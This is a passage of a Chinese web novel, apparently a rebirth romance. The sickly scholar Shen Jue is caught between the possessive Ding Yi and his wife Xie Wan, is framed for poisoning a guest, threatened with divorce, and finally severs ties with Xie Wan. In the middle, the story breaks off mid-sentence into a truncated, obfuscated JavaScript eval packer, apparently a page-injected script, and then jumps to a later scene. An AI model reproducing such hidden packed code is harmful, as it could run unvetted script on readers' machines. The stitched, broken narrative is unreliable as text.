沈玦眉头几不可察地蹙了一下,却还是伸手去端那温热的药碗。 “且慢。”丁仪的声音从门口传来。她今日换了身雨过天青色的软烟罗长裙,乌发松松挽着,只别了一支碧玉簪,比平日更添几分居家随意的慵懒之美。她缓步走进来,示意仆妇退下。 室内只剩下他们两人。炭火偶尔哔剥一声,衬得周遭格外寂静。 丁仪走到榻前,并未坐下,只是居高临下地、仔细打量着沈玦苍白却平静的侧脸。他端药碗的手顿了顿,并未看她。 “沈公子,”丁仪忽然轻笑一声,那笑声柔媚,却无端透着一股凉意,“你这般乖乖喝药,倒让我有些无趣了。” 沈玦眼睫微颤,依旧沉默。 丁仪俯下身,凑近了些,那股清雅的香气变得浓郁,几乎将药味都压了下去。她的声音压得极低,带着一种亲昵的、却令人毛骨悚然的威胁:“你知道吗?我最不喜欢别人敷衍我。你若是不肯好好爱惜自己这副身子……或者说,不肯领我的情……” 她停顿了一下,红唇几乎贴近沈玦的耳廓,吐气如兰,说出的话却冰冷刺骨: “我就只好亲自去一趟谢府,把你‘请’回来。然后……按着你,一口一口,嘴对嘴地,喂你喝下去。” 她说得慢条斯理,甚至带着点玩笑般的娇嗔语气,仿佛在说一件风流趣事。可那字里行间不容错辨的掌控欲和某种近乎残忍的兴致,让沈玦端着药碗的手指,骤然收紧。 他缓缓抬起眼,第一次如此近距离地、毫无避讳地看向丁仪。她的眼睛很美,水汪汪的,此刻却清晰地映出他苍白的面容,和那眼底深处一闪而过的……荒谬感。 是的,荒谬。 沈玦忽然极轻、极淡地笑了一下。那笑容虚弱,却奇异地冲散了他周身沉寂的冰雪,透出一种洞悉的疲惫与疏离。 “丁小姐,”他开口,声音因久未多言而有些低哑,却异常清晰,“何必如此大费周章?” 丁仪挑眉,似乎没料到他是这个反应。 “沈某不过一介无用病躯,在谢家是,在丁小姐这里,亦是。”沈玦的目光平静地掠过她精心修饰的脸庞,看向她身后华美却空洞的室内陈设,“小姐将我留在此处,与收藏一件别致的古玩,饲养一只稀有的雀鸟,并无本质不同。新鲜劲儿过了,或厌了,或碎了,弃之即可。” 他顿了顿,语气甚至带上了一丝几不可察的、近乎怜悯的嘲意:“既只是玩物,又何必动气,乃至……说出那般有失身份的话来?” 丁仪脸上的笑容,终于一点点凝固,消失。那双总是漾着温柔水波的眼睛,慢慢沉静下来,变得幽深难测。她盯着沈玦,像是第一次真正看清这个病弱书生的内里。 他看穿了。不仅看穿了她表面的意图,甚至看穿了她心底那点连自己都不愿深究的、将人物化的掌控癖好。他如此平静地说出来,没有愤怒,没有恐惧,只有一种彻底认命般的清醒,和一丝……对她这番作态的轻微鄙夷。 这比任何激烈的反抗,都更让她感到一种被冒犯的恼怒,以及一种更强烈的、想要打破他这层冰冷外壳的欲望。 室内的空气仿佛凝滞了。炭火的热气,药的苦味,她身上的幽香,混杂在一起,令人窒息。 良久,丁仪缓缓直起身,退开两步,脸上重新挂起那无懈可击的温婉笑容,只是眼底再无半分暖意。 “沈公子说笑了。”她语气轻飘飘的,“你好好休息,按时用药。我明日再来看你。” 说完,她转身离去,步履依旧优雅,裙裾拂过光洁的地面,没有一丝声响。 沈玦直到她的身影消失在门外,廊下的灯光重新将寂静填满,才缓缓松开了紧握着药碗的手指。碗沿几乎被他捏得温热。 他垂下眼,看着碗中黑沉沉的药汁,映出自己模糊扭曲的倒影。 然后,他端起碗,仰头,将那一碗苦涩至极的液体,一饮而尽。 喉间火烧火燎,胃里翻腾不适。 但总比……别的什么要好。 他得活着。至少现在,不能以那种不堪的方式,死在丁仪手里,或是成为她用来刺激、羞辱谢晚的工具。 尽管,谢晚或许……早已不在意了。 尽管,谢晚或许……没有心。 他就该看明白了。 谢晚爱的,从来不是他沈玦这个人。她爱的是沈玦能为她提供的价值——早年是识文断字、打理书稿的清客价值,后来是散尽家财、供她起步的资本价值,再后来,是他这副皮囊与“谢晚夫君”名分所能交换的、更进一步的权势价值。 她欣赏的,或许是他那份与谢家格格不入的清冷书卷气,但那欣赏如同孩童看中一件别致的玩具,新鲜时把玩,厌弃时便可丢弃。她从未试图真正理解他那份清冷下的坚持与骄傲,也从未在乎过他那病弱躯壳里藏着的、不愿折腰的魂灵。 这个念头划过心底,带起一阵细微却绵长的刺痛,比那药汁更苦。 沈玦在“送玉斋”又静养了两日。 丁仪果然如她所说,每日都来,有时带着书,有时带着琴,有时只是隔着帘子问安。她不再提那日近乎狎昵的威胁,言行举止恢复了大家闺秀应有的分寸与端庄,仿佛那日的失态从未发生。只是,她停留在沈玦身上的目光,时间悄然变长了,那温婉笑意下的审视,也愈发深邃难测。 沈玦依旧是一潭死水。按时喝药,按时用膳,顺从地让大夫诊脉,然后便是对着窗外发呆,或是闭目养神。他对丁仪的一切示好都报以沉默的、有礼的疏远,像一块被流水日夜冲刷却始终无法焐热的寒玉。 丁仪心中的那点异样,便在这日复一日的无声对峙中,悄然滋长。 她见过太多对她趋之若鹜的男子,或为她的家世,或为她的容貌,或兼而有之。他们的殷勤讨好,她早已腻烦。沈玦却截然不同。他的冷淡不是欲擒故纵,他的沉默并非待价而沽,那是一种从骨子里透出来的、对自身处境的漠然,以及对周遭一切(包括她丁仪)的……无谓。 这种无谓,像一根极细的刺,扎进了她向来顺遂高傲的心底。起初只是微恼,后来竟生出一种奇异的痒,催促着她去探究,去打破,去看到他冰层下可能存在的裂痕,或是……别的什么。 然而,她也清楚地知道,强留无益。沈玦的心根本不在“枕流阁”,他那双沉静的黑眸偶尔望向窗外某个方向时,里面空茫一片,却又仿佛承载着千斤重负。那重负,大抵与谢晚有关。 想到谢晚,丁仪唇角勾起一抹极淡的、冷诮的弧度。一个精明算计到骨子里的商贾之女,满身铜臭,目光短浅。撕了一封信,驳了父亲,就以为能力挽狂澜,守得住她那点可笑的“夫妻情分”?沈玦那样的人,岂是她谢晚能消受、能理解的? 丁仪信步走到窗前,望着庭院中被雨水洗刷得晶莹剔透的芭蕉叶。天气竟意外地放晴了片刻,一缕稀薄的阳光穿透云层,落在湿漉漉的青石板上,泛起短暂的金光。她忽然觉得,或许不必急。 依着谢晚那副利益至上、耳根子又未必真硬的性子,内忧外患之下,将沈玦拱手送出,不过是迟早的事。前世如此,今生又能有多大差别?自己此刻强行扣着人,反倒落了下乘,显得急切。不如……放他回去。 让他亲眼看看,谢晚是如何在压力下动摇,如何再次将他置于权衡的天平之上。让他那颗看似冰冷的心,再被现实狠狠刺伤一次。到时候,他才会明白,谁才是真正能庇护他、珍视他的人,即便这份珍视带着别样的趣味。 放长线,才能钓大鱼。对于沈玦这样的“鱼”,普通的饵料和急躁的收线,都是无用的。 只是…… 丁仪转过身,目光掠过室内沈玦用过的那张紫檀木嵌螺钿小几,上面空荡荡的,只残留着一点药碗放置过的痕迹。她心里那点异样的情绪又泛了上来,丝丝缕缕,并不强烈,却挥之不去。 就这么让他走了,这两日的“悉心照料”,岂非白费?总得……留点念想,或者说,确保这条“线”不会真的断掉。 她沉吟片刻,扬声唤道:“青禾。” 一个身着浅碧衣裙、面容秀静的大丫鬟应声而入,敛衽行礼:“小姐。” “沈公子身子已无大碍,想必也归心似箭。”丁仪的语气恢复了平日里的淡然,“你去安排一下,用我的马车,稳妥地送沈公子回谢府。” 青禾微微一愣,似有不解,但很快垂首应是。 “还有,”丁仪走到书案前,执笔蘸墨,在一张洒金花笺上快速写了几行字,轻轻吹干,递给她,“将这方子交给沈公子,是王大夫根据他脉象调整的后续调理方剂,让他按时服用。” 青禾双手接过。 丁仪顿了顿,状似随意地补充道:“送他回去后,你不必急着回来。谢府那边……想必正热闹。你找个由头,在附近盘桓两日。” 青禾眼中闪过一丝了然,头垂得更低:“奴婢明白。小姐是想知道……沈公子回去后境况如何?谢家是否会为难于他?” “为难?”丁仪轻笑一声,指尖拂过案上一支开得正好的白山茶,花瓣柔嫩洁白,“谢家如今是谢晚当家,她既撕了信,面上总得过得去。我不过是想知道……”她语气微缓,似在斟酌词句,“沈公子有没有好好遵医嘱,按时喝药。毕竟,他那身子,经不起折腾。” 她抬眼,望向窗外那缕已然消失的阳光,云层重新聚拢,天色复又阴沉下来。 “再者,”她声音放得更轻,几乎像是自言自语,“谢晚那性子,未必能容人。沈玦此番回去,若遭冷遇,或是……有了什么变故,总该有人知晓才是。” 青禾不再多问,只恭敬道:“奴婢定会留心。” “去吧。”丁仪挥了挥手。 看着青禾退下的背影,丁仪缓缓坐回椅中,指尖无意识地摩挲着那冰凉的花瓣。 只是关心他是否按时用药罢了。 只是好奇,谢晚在压力之下,会如何对待这个她曾试图舍弃、又勉强挽回的夫君。 只是……想确保这条线,还牢牢攥在自己手里。 她如此告诉自己,将心头那丝说不清道不明的烦闷与隐约的期待,归结为对一件有趣“玩物”去向的合理关注。 仅此而已。 窗外,又渐渐沥沥地下起了雨。枕流阁内暖香依旧,却仿佛因某个人的即将离去,而显得空寂了几分。丁仪独坐窗前,听着雨声,第一次觉得,这精心布置的雅致居所,似乎有些过于安静了。 沈玦回到谢府时,天已擦黑,细雨又飘了起来。 丁仪的马车将他送到侧门外便悄然离去,并未惊动太多人。他独自一人,撑着来时那把旧伞,踩着湿滑的石板路,一步步走回那座熟悉的、却让他感到无比窒息的宅院。山庄几日,药石温养,他气色略好了些,但眉宇间的郁色与眼底的沉寂,却比离开时更浓重。 刚进二门,便隐约听得前厅方向传来一阵笑语,夹杂着父亲谢秉坤比平日高昂许多的谈吐声,还有一个陌生的、清润温和的男声在谦逊应答。那笑声刺耳地钻进沈玦耳中,他脚步顿了顿,伞沿雨水成串滴落,在脚边汇成小小一洼。 他没有往前厅去,径直往自己那僻静的书房走。廊下偶遇的丫鬟小厮见他回来,都露出讶异神色,匆匆行礼,眼神却有些飘忽躲闪。沈玦只当未见。 还未走到书房,却在穿堂处迎面撞见了谢晚。 她似乎刚从前面回来,身上还带着前厅暖阁里熏染的、混合了酒菜与陌生香料的气息,发髻一丝不苟,绛紫裙裾拂过光洁的地面。见到他,她明显愣了一下,脚步停住,目光在他身上迅速扫过,似在确认他是否完好,随即,那目光里便掠过一丝复杂难辨的情绪,像是松了口气,又像是被什么刺了一下,最终沉淀为一种刻意维持的平静。 “回来了?”她开口,语气平淡,听不出喜怒。 “嗯。”沈玦应了一声,垂下眼睫。 短暂的沉默在雨声中弥漫。穿堂风过,带着湿寒,吹得两人衣袂微动。 “那位是裴公子,”谢晚忽然开口,打破了沉寂,语气如同介绍一件新添置的、颇有价值的摆设,“今日在城外遇险,幸得他相救。他乃姑苏人士,游学至此,暂无落脚处,我便邀他暂居府中西跨院。”她顿了顿,目光掠过沈玦苍白的脸,“他是我的救命恩人。” 救命恩人。 四个字,清晰地砸在沈玦心坎上。 他缓缓抬起眼,看向谢晚。她的脸庞在廊下灯笼的光晕里,显得有些模糊,只有那双眼睛,明亮,甚至带着一丝他看不懂的、近乎挑衅的亮光。她在看着他,等待他的反应。 沈玦只觉得胸腔里那股熟悉的滞闷,瞬间化为冰冷的钝痛,蔓延至四肢百骸。他看着她,试图从她脸上找到一丝愧疚,一丝为难,哪怕只是一丝歉意。没有。只有平静,以及那缕令他心寒的、近乎炫耀般的介绍。 原来,她冒雨外出寻他,或许只是顺便,遇了险,被一个“无家可归”的陌生男子所救,然后,她便顺理成章地将人带了回来,安置在仅次于主院的西跨院。 而他,她的正头夫君,失踪几日,生死未卜地归来,得到的只是一句平淡的“回来了”,和一段关于另一个男人为何会出现在她家中的解释。 多么讽刺。 本来她将他送去丁府,至少还冠以“为了谢家前程”的名头,还曾有过几分虚伪的歉意与权衡的痛苦。后来,她撕了信,驳了父亲,他原以为……原以为或许真的有所不同。哪怕只是一点点。 现在看来,是他痴心妄想。她谢晚的世界里,利益与冲动永远摆在最前。需要时,他是可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈玦则彻底将自己封闭起来。除了必要的用膳,也常常避开众人,他几乎不出书房院门。谢晚去过两次,一次被他以“身体不适”为由挡在门外,一次进去,只见他对着棋盘独自打谱,对她的话恍若未闻。那种无声的抗拒,比争吵更让谢晚难受,却也激起了她骨子里那股不服输的倔强——他越是这样,她越不想低头。 谢秉坤将这一切看在眼里,心中窃喜。这日,他特意寻了个由头,带着裴渠来到沈玦书房附近的小花园“偶遇”正在独自散步的沈玦。 “玦儿啊,”谢秉坤摆出岳父的架子,语气却充满讥诮,“这几日气色还是不好,得多出来走动走动,别整天闷在屋里,像个见不得光的。” 裴渠跟在谢秉坤身后,对沈玦拱手为礼,笑容温润无害:“沈兄。”态度无可挑剔。 沈玦看了他们一眼,不欲多言,微微颔首,便打算离开。 “哎,别急着走啊。”谢秉坤拦住他,目光在沈玦身上那件半旧直裰上扫过,又瞥了一眼身旁锦衣玉带、风度翩翩的裴渠,故意叹道,“你看看裴公子,虽是客居,但仪表堂堂,学识又好,晚儿很是倚重。你再看看你……唉,不是我说你,男子汉大丈夫,总得有点用处,不能总靠着女人养着,还整天摆脸色给谁看?” 沈玦脚步顿住,袖中的手缓缓握紧,指节泛白。 裴渠连忙道:“谢伯父言重了。小侄蒙谢娘子收留,已是感激不尽,岂敢与沈兄相比?沈兄乃谢娘子正配,气度清华,非我等俗人可及。”这话看似谦逊,实则将“正配”与“气度清华”放在嘴边,更像是一种绵里藏针的对比。 沈玦扯了扯嘴角,依旧沉默。 谢秉坤却像是被提醒了,冷哼道:“正配?也得有正配的样子!整日病怏怏的,连个子嗣都……”他话未说完,但未尽之意昭然若揭。 裴渠适时露出些许尴尬神色,低声劝道:“伯父,沈兄身体不适,还是少说两句吧。不如让小侄陪伯父去前厅看看新得的那幅画?” 谢秉顺坡下驴,又瞪了沈玦一眼,才被裴渠劝着走了。 沈玦站在原地,看着他们离去的背影,春日暖阳落在身上,却只感到刺骨的寒意。那些话语,像淬了毒的针,一根根扎进他早已千疮百孔的自尊里。 然而,这仅仅是个开始。 两日后,谢晚正在账房核账,裴渠身边的小厮忽然慌慌张张跑来,说裴公子在花园凉亭内突发急症,腹痛如绞。谢晚连忙赶去,只见裴渠脸色惨白,额角冷汗涔涔,蜷缩在石凳上,痛苦呻吟。 “怎么回事?午膳吃了什么?”谢晚急问。 裴渠的小厮扑通跪下,带着哭腔道:“回娘子,公子午膳只用了些清粥小菜,与往常无异。只是……只是午膳前,沈姑爷院里的丫鬟送来一碟新做的山药糕,说是姑爷念及公子客居,特意让送来尝尝。公子推辞不过,用了两块,不久便……” 话音未落,裴渠又痛苦地闷哼一声。 沈玦院里的丫鬟?山药糕? 谢晚心头一沉。她立刻派人去请大夫,同时让人去沈玦院里询问。 沈玦很快被请到了现场。他看了一眼痛苦不堪的裴渠,又看了看跪在地上指证的小厮,眉头蹙起:“我并未让人送过什么糕点。” “可那丫鬟分明说是奉了姑爷您的命!”小厮急道。 “我房内只有两个粗使婆子,并无年轻丫鬟。”沈玦语气冷淡却肯定。 这时,派去询问的管事回来,面色古怪,低声对谢晚道:“娘子,问过了,沈姑爷院里的确没有年轻丫鬟。但是……守二门的一个婆子说,午前似乎看见……看见姑爷身边常跟着的那个小厮墨竹,提着一个食盒往花园方向去了。” 墨竹是沈玦从沈家带过来的唯一一个小厮,自小跟着他,最是忠心不过。 谢晚看向沈玦。 沈玦脸色白了一分,袖中的手微微发抖:“墨竹今日告假出府,为他娘亲抓药,此刻并未在府中。” “那就是无人对证了?”谢晚的声音冷了下来。她看着沈玦苍白的脸,又看看痛苦呻吟的裴渠,想起前几日父亲的话语,想起沈玦那冰冷失望的眼神,想起他对自己带裴渠回来的沉默抗拒……一股邪火混合着连日来的压力与某种被背叛的猜疑,猛地窜上心头。 难道……他真的因嫉生恨,做出这等下作之事?只因为裴渠是她的“救命恩人”,得了她的青眼? “我没有。”沈玦迎着她的目光,一字一句道,眼底是清晰的屈辱与倔强,“我不屑于此。” “证据呢?”谢晚脱口而出,话一出口,自己也愣了一下,但看着裴渠痛苦的样子,想到若真是沈玦所为,其心可诛,语气便又硬了起来,“墨竹不在,食盒无人认领,裴公子用了你院‘送出’的糕点便成了这样!沈玦,你告诉我,这是巧合?” 沈玦看着她,那双沉静的黑眸里,最后一点微弱的光,终于彻底熄灭了。他忽然觉得无比荒谬,也无比疲惫。辩解?在谢晚带着先入为主的猜忌看向他的那一刻,任何辩解都是徒劳。 他扯了扯嘴角,想笑,却没能笑出来,只化作一声极轻的、带着血腥气的叹息。 就在这时,闻讯赶来的谢秉坤冲了进来,一看这场面,尤其是裴渠那副模样,顿时火冒三丈,指着沈玦的鼻子骂道:“好啊!你个狼心狗肺的东西!谢家供你吃穿,养着你这么个病痨鬼,你不感恩也就罢了,竟敢对家里的客人下毒手!你这是要害死裴公子,还是要毁了谢家的名声?!” 他转向谢晚,疾言厉色:“晚儿!你还要护着这个祸害到几时?今日他能对裴公子下手,明日是不是就要对你我下手?此等心肠歹毒、毫无容人之量的妒夫,留在家中,迟早是个祸患!” 谢晚被父亲吼得心烦意乱,看着沈玦那死水般的眼神,又看看裴渠惨白的脸,大夫正在诊脉,眉头紧锁。她心乱如麻,各种念头纷至沓来:沈玦的沉默与抗拒,裴渠的救命之恩与温文无害,父亲的逼迫,生意的压力,还有前世沈玦那染血的遗书……这一切交织成一张大网,将她牢牢捆住,几乎窒息。 “我没有。”沈玦又重复了一遍,声音很轻,却带着一种破碎的清晰。他看着谢晚,仿佛想从她眼中找到最后一点信任的微光。 谢晚避开了他的视线。 谢秉坤见状,立刻趁热打铁,高声道:“这样的夫君,留有何用?晚儿,听爹一句劝,一纸休书,打发了他!干干净净!也好给裴公子一个交代,给丁府那边……一个态度!” 休书。 两个字,如同惊雷,炸响在寂静的花园凉亭内。 所有人都愣住了,包括痛苦呻吟的裴渠,也微微睁开了眼。 沈玦身体几不可察地晃了一下,脸色瞬间惨白如纸,连最后一丝血色也褪得干干净净。他缓缓地、缓缓地转过头,看向谢秉坤,又看向侧着脸、紧抿着唇的谢晚。 男人……被休? 他沈玦,读了这么多年圣贤书,谨守礼义廉耻,纵使落魄,纵使病弱,纵使不被岳家所喜,被妻子轻视,甚至被当作货物权衡……他也从未想过,有朝一日,会面临“被休”的耻辱。 这已不是简单的舍弃或背叛。这是将他作为男子的尊严,踩在脚底,碾入泥泞,再公之于众的极致羞辱。 何其可笑。 何其可悲。 他忽然低低地笑了起来,笑声喑哑,如同破损的风箱,带着无尽的苍凉与自嘲。笑着笑着,眼角却干涩得没有一滴泪。 他最后看了一眼谢晚,那眼神空茫,仿佛穿透了她,看向了某个遥不可及、又或者早已死去的过去。 然后,他不再看任何人,挺直了那单薄得仿佛随时会折断的脊背,一步一步,缓缓地、却异常平稳地,走出了这座让他窒息了多年的华丽囚笼。 阳光明媚,花香袭人,他却只觉得周身冰寒,如同置身数九寒冬。 这世上,果然再无他的容身之处。 而凉亭角落,一个身着浅碧衣衫、丫鬟打扮的秀丽女子,悄然收回望向沈玦离去方向的视线,垂下眼,掩去了眸中一闪而过的复杂神色。 正是丁仪派来的青禾。 沈玦不知道自己是怎么走出谢府那扇朱红大门的。 阳光刺眼,街市喧嚷,孩童的嬉笑,货郎的叫卖,车马的辚辚声……一切声音和光影都扭曲成模糊的背景,嗡嗡作响,却又仿佛隔着一层厚重的琉璃,传不进他耳中,也落不到他眼里。他只觉得胸口堵着一团浸透了冰水的棉絮,沉甸甸,湿漉漉,每一次呼吸都牵扯出尖锐的刺痛,和一股翻涌不休的、带着铁锈味的腥甜。 被休。 两个字反复碾过脑海,碾碎了他最后一点摇摇欲坠的支撑。男人被休,千古未闻之奇耻。他沈玦,生来便是错么?家世是错,病弱是错,读书是错,不肯趋炎附势是错,甚至连活着,都成了谢家父女眼中碍眼的错! 气血在冰冷的四肢百骸里逆冲乱窜,眼前阵阵发黑。他扶着街边粗糙的墙壁,指甲抠进砖缝,试图稳住身形,可那黑暗来得又急又猛,带着吞噬一切的力量。 “唔——” 一口猩甜猛地冲上喉头,他猝不及防,温热的液体已顺着嘴角溢出,滴落在前襟月白的布料上,迅速洇开一小团刺目的红。与此同时,天旋地转,耳边所有的声音骤然拉远、消失…… “沈公子!” 隐约似乎听到一声熟悉的、带着惊惶的女子低呼,但他已无力分辨。意识沉入无边黑暗的前一瞬,只感觉身体一轻,仿佛落入了一个带着清雅香气的、柔软的怀抱。 …… “这才几天没见,你就把自己搞成了这个样子?” 带着怒意、却又难掩焦灼的嗓音,像是从很远的地方传来,穿透了层层迷雾。沈玦蹙紧眉头,想要避开这扰人的声音,却连抬起眼皮的力气都没有。 丁仪几乎是接到青禾传讯的瞬间便赶了过来。她没想到,自己只是派个人去“看看”,看到的竟是沈玦吐血晕倒在街边的凄惨景象。此刻,她半跪在车厢柔软的地毯上,将昏迷不醒的沈玦紧紧抱在怀里,手指触及他冰凉汗湿的额头和嘴角未干的血迹,心头那股无名火与某种陌生的刺痛交织翻腾。 她吩咐车夫以最快速度赶回别庄,又命青禾立刻去请王大夫。低下头,看着怀中人苍白如纸的脸,紧闭的眼睫在眼下投出浓重阴影,唇上那抹血迹红得惊心。几日不见,他好像又瘦了许多。 丁仪下意识地将他往怀里拢了拢,手臂用了些力,想让他更安稳些。这一用力,却让她整个人猛地一僵。 轻。 太轻了。 怀里的躯体,隔着衣物,几乎感觉不到什么分量,骨骼的轮廓清晰得硌人,仿佛只剩下薄薄一层皮囊包裹着支离的病骨。完全不像一个成年男子的体量。 一种从未有过的、尖锐的疼惜,猝不及防地攫住了丁仪的心脏,让她呼吸都为之一滞。她见过他冷淡,见过他隐忍,见过他洞悉一切后的疏离嘲弄,却从未想过,这具支撑着那身清傲风骨的躯体,竟已孱弱、单薄至此。 谢晚……谢家……他们到底是如何待他的?竟将他磋磨至此等地步! 怒火与那陌生的疼意烧灼着她的理智。她抿紧唇,用指尖小心翼翼擦去他唇边血迹,动作是从未有过的轻柔。 “快些!”她忍不住对车外催促,声音带着一丝自己都未察觉的颤抖。 …… 40. 云深客至渡危澜3 谢晚是在沈玦离开一个时辰后,才从一片混沌的震怒、猜疑与隐约的不安中挣脱出来。裴渠“适时”地好转了些,虚弱地表示或许是个误会,劝她不要太过忧心。谢秉坤则依旧愤愤不平,大骂沈玦没良心,走了干净。 可沈玦最后那空茫的眼神,那绝望自嘲的笑,还有他离去时挺直却萧索的背影,却像鬼魅一样在她眼前挥之不去。心中那点被强行压下的不安,如同滴入清水中的墨汁,迅速扩散弥漫。 就在这时,一个负责在外探听消息的机灵小厮,连滚爬爬地跑了进来,脸色古怪,附在谢晚耳边低语了几句。 “什么?丁仪的马车?”谢晚霍然起身,打翻了手边的茶盏,碎裂声刺耳。“你看清楚了?在何处?” “千真万确,就在西街口,丁小姐身边那个叫青禾的丫鬟也在,她们……她们把昏倒的姑爷接上马车,往城外别庄方向去了!” 裴渠在一旁轻轻“啊”了一声,蹙起好看的眉头,忧心道:“沈兄怎会晕倒在街上?还被丁小姐接了去?这……丁小姐对沈兄似乎一直……”他欲言又止,恰到好处地留白。 谢晚只觉得一股热血直冲头顶!沈玦晕倒了?还被丁仪带走了?他果然……还是去了丁仪那里?是因为被“休”羞辱,所以迫不及待地去投靠另一个可以给他“庇护”的女人?还是说……他们早有联络? 前世他被送去丁府的画面与今生他决绝离去的背影疯狂交织,烧光了谢晚最后一点理智。她甚至没有去细想沈玦为何会晕倒,满心只剩下被“背叛”的狂怒和一种说不清道不明的恐慌——他不能跟丁仪走!前世他就是死在丁仪手里! “备车!去城郊丁仪的别庄!”谢晚声音尖利,不容置疑。 …… 枕流阁,送玉斋。 王大夫刚刚诊完脉,开了方子,叮嘱需绝对静养,万不可再受刺激,便退下去煎药了。丁仪坐在床边,看着沈玦依旧昏迷却不再那么惨白的脸,心绪烦乱。青禾已被她打发去处理痕迹。 门外忽然传来一阵喧哗,夹杂着守门仆妇惊慌的阻拦声和一道熟悉而急促的女声。 “丁小姐,谢家娘子她……她硬闯进来了!”丫鬟慌张来报。 丁仪眉头一拧,眼中冷光闪过。来得倒快。 她替沈玦掖了掖被角,起身,整理了一下衣袖,脸上恢复了一贯的温婉从容,缓步走出送玉斋。 谢晚已闯到了院门外,一身绛紫衣裙因匆忙而略显凌乱,发髻边步摇急颤,脸色因怒意和急赶而泛红,眼神却锐利如刀,直直射向款步而来的丁仪。 “丁小姐,”谢晚开门见山,语气冰冷,“把我夫君交出来。” 丁仪停步,站在廊下台阶上,微微俯视着院中的谢晚,唇角勾起一抹极淡的、讥诮的弧度:“谢娘子这话从何说起?你的夫君,怎会在我这里?” “有人亲眼看见你的马车将他带走!”谢晚上前一步,气势逼人,“丁仪,明人不说暗话,你对他存了什么心思,你我心知肚明。但沈玦是我谢晚明媒正娶的夫君,你扣着人不放,是何道理?” “扣着人?”丁仪轻笑,仿佛听到了什么笑话,“谢娘子,是你谢家将人逼得吐血晕倒,丢弃街头不顾,我不过恰巧路过,不忍见其惨状,施以援手,请医诊治。怎么到了你嘴里,倒成了我扣人?” 她目光扫过谢晚,带着毫不掩饰的鄙夷:“倒是谢娘子你,前脚刚为了个来历不明的‘救命恩人’,疑心自己的夫君下毒,纵容令尊喊打喊杀,甚至口出‘休弃’之言,将人逼至绝境;后脚便来这里要人。谢家的规矩,丁仪今日倒是领教了。” 谢晚被她这番话堵得面色青白交加,尤其那句“来历不明的救命恩人”,更是刺中她心中隐秘的尴尬与恼怒。“这是谢某的家事,不劳丁小姐费心!沈玦在哪儿?我要带他回去!” “回去?”丁仪眸光骤冷,“回哪里去?回那个视他为敝履、恨不得除之后快的谢家?还是回去继续被你猜忌,被你父亲羞辱,甚至……被你那裴公子再次陷害?” “你……”谢晚气得浑身发抖,却无从反驳。裴渠之事,确实疑点重重,她当时气昏了头…… “我说了,沈公子不在这里。”丁仪转过身,背对着她,语气淡漠,“谢娘子请回吧。待沈公子痊愈,是去是留,自有他自行决断。你谢家……无权过问。” “你休想!”谢晚厉声道,“沈玦是我的人!生是谢家人,死是谢家鬼!你今天不交人,我就……” “你就如何?”丁仪倏然回身,眼神如冰刃,“告官?还是让你那位好父亲,再来我这里闹一场?谢晚,别忘了,你谢家那点盐引生意,还想不想做了?” 赤裸裸的威胁。 谢晚攥紧了拳头,指甲深深陷进掌心。丁仪拿住了她的七寸。谢家生意如今半壁江山都系在丁家手指缝里漏出的那点东西上。硬碰硬,谢家毫无胜算。 屈辱、愤怒、恐慌、还有一丝连自己都不愿承认的悔恨,在她胸中激烈冲撞。她看着丁仪那张看似温婉实则冰冷高傲的脸,仿佛看到了前世沈玦被丢弃时,丁仪那漫不经心、视人命如草芥的眼神。 绝不能让沈玦再落入她手里!他会死的! “丁仪!”谢晚声音嘶哑,带着孤注一掷的决绝,“你根本不知道……你把他留在身边,对他一点好处都没有!你只会害死他!你……” 她几乎要脱口而出前世的结局,话到嘴边,却又死死咽了回去。重生之事,匪夷所思,说出来非但无人信,恐怕反惹祸端。 丁仪蹙眉,不解其意,只当她是气急败坏下的诅咒,冷声道:“不劳谢娘子操心。我自会妥善照顾沈公子。” 就在两人僵持不下、气氛紧绷欲裂之际,一个虚弱却异常清晰平静的声音,自丁仪身后的房门内传来。 “不必吵了。” 谢晚和丁仪同时一震,霍然转头。 只见送玉斋的门被从内轻轻推开,沈玦披着一件丁仪备下的雪青色外袍,扶着门框,缓缓走了出来。他脸色依旧苍白得近乎透明,唇上毫无血色,身形单薄得仿佛一阵风就能吹倒,但那双眼睛,却沉静得可怕,里面空空荡荡,什么都没有,又仿佛盛满了万古寒冰。 他谁也没看,目光虚虚地落在院中一丛被雨水打湿的芭蕉上。 “谢晚。”他开口,叫她的名字,声音不大,却像一把淬了冰的薄刃,划破了凝滞的空气。 谢晚心头一紧,下意识上前半步:“沈玦,你……” 沈玦抬起手,一个极其轻微的动作,却带着不容置疑的制止意味。他这才缓缓将目光转向她,那目光平静无波,却让谢晚瞬间如坠冰窟。 “你我之间,”他一字一顿,清晰无比,每个字都像冰珠砸落玉盘,“从今日起,桥归桥,路归路。” 他顿了顿,仿佛用尽了全身力气,才将那最决绝的话语吐出: “不必再相见了。” 谢晚如遭雷击,浑身血液似乎都凝固了。她看着沈玦那毫无生气的眼睛,看着他平静陈述般说出断绝之言,前世他呕血而亡的场景与眼前这一幕重重叠叠,巨大的恐慌灭顶而来,甚至压过了被“抛弃”的愤怒。 “沈玦!”她尖声叫道,声音带着自己都未察觉的颤抖和哀求,“你知不知道你在说什么?!你跟她走,你会……” “谢晚。”沈玦打断她,语气甚至带上了一丝极淡的、近乎怜悯的嘲意。他看着她,像是在看一个陌生人,一个执迷不悟的可怜人。 “我的事,”他轻轻地说,吐出最后斩断一切关联的字句,“与你无关了。” 与你无关了。 五个字,轻飘飘,却重逾千斤,将谢晚所有未出口的话语,所有翻腾的情绪,所有前世的悔与今生的挣扎,都狠狠砸回,碾碎在尘埃里。 他不再看她,转向眉头微蹙、眼神复杂的丁仪,微微颔首,语气恢复了惯常的、有礼的疏离:“叨扰丁小姐了。沈某略歇片刻,自会离开。” 说完,他不再理会僵立当场的谢晚,也不再看神色莫测的丁仪,转身,一步步,走回了那间暂时容身的屋子,轻轻关上了门。 将那所有的喧嚣、争执、怨恨、以及那点微末得可笑的情分,都隔绝在了门外。 谢晚站在原地,看着那扇紧闭的房门,只觉得浑身的力气都被抽空了。春日阳光暖融,她却冷得牙齿都在打颤。 他说,与她无关了。 他宁愿跟着可能害死他的丁仪,也不要再与她有任何瓜葛。 重活一世,她拼命想要挽回,想要弥补,想要抓住的,终究还是以这种更惨烈、更决绝的方式,从她指缝中彻底流走了。 